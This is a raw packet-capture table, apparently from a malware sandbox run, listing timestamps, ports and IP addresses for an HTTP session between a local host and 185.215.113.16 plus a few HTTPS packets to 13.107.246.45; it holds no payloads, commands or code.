Nov 14, 2024 17:24:38.857136011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857151985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.857178926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.857527971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857537985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857549906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857559919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857563972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.857569933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857580900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857589960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857595921 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.857625961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.858237028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858247042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858258009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858269930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858280897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858290911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858302116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858304977 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.858311892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.858335018 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.858361006 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.859056950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859069109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859078884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859090090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859101057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859107971 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.859112024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859121084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859127998 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.859148979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859159946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859164000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.859172106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.859188080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.859220982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.873699903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.873709917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.873719931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.873759031 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.873908043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.873918056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.873959064 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.874038935 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.874941111 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.875005007 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.875053883 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.875070095 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.875080109 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.875085115 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.877737999 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.877751112 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.877814054 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.877963066 CET	49846	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.877969027 CET	443	49846	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.887085915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.901187897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901225090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901300907 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.901385069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901420116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901448965 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.901710987 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901726961 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901742935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901758909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.901767969 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.901781082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.902203083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902214050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902224064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902234077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902244091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902249098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902254105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.902261019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.902297974 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.902312040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.903104067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903115034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903130054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903160095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903163910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.903170109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903179884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903192043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903202057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.903214931 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.903250933 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.937330008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.937376976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.937386036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.937417030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.937588930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.937598944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.937638044 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.967181921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.967199087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.967209101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.967240095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.967256069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.971122980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971168041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971179008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971220016 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.971470118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971482038 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971492052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971503973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971518040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.971558094 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.971966028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971975088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971983910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.971995115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972012043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972012997 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972018957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972021103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972023964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972073078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972073078 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972681999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972692013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972735882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972879887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972891092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972902060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972913027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972923040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972933054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972939968 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972944975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.972959042 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.972990036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.973695040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973705053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973714113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973723888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973733902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973751068 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.973782063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.973937988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973948956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973958969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.973980904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.974008083 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.974175930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974186897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974195957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974206924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974216938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974224091 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.974226952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974237919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974265099 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.974277973 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.974906921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974917889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974927902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974937916 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974977016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.974987030 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975001097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975019932 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975784063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975795031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975805044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975815058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975826979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975837946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975843906 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975848913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975860119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975869894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975872040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975881100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975889921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975893974 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975899935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.975922108 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.975939989 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.976696014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976701975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976707935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976720095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976731062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976739883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976743937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.976752043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976763010 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976769924 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.976773024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.976809025 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.976824045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.977474928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.977487087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.977497101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.977530003 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.990819931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.990830898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.990840912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.990900040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.990983963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.990993977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.991116047 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.017896891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.017937899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.017956018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018011093 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.018248081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018260002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018269062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018280029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018289089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018296003 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.018325090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.018667936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018681049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018732071 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.018934011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018944979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018954039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018965006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018975973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.018981934 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.018992901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019001007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019002914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019012928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.019057989 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.019597054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019613981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019629002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019637108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019639015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019644022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019649982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.019655943 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.019680023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.055805922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.055850983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.055861950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.055881977 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.055948019 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.056088924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.056099892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.056113958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.056124926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.056149960 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.056185007 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.056431055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.084026098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.084114075 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.084301949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.084413052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.084451914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.084480047 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.088253975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088285923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088299990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088315010 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.088552952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088567019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088578939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088583946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.088602066 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.088669062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088681936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088727951 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.088807106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088819981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088831902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088844061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088856936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.088882923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089095116 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089262962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089276075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089287996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089299917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089313030 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089324951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089327097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089338064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089349985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089350939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089378119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089397907 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089829922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089927912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089937925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089947939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089961052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089972973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089973927 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.089986086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.089998007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090013027 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090028048 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090101004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090358019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090370893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090389013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090421915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090576887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090588093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090600014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090641022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090799093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090811968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090825081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090827942 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090838909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.090884924 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.090884924 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091062069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091073990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091140032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091159105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091171026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091183901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091187000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091209888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091280937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091687918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091697931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091707945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091721058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091732979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091742039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091744900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091758013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091768980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091778040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091782093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091794014 CET	80	49830	185.215.113.16	192.168.2.6
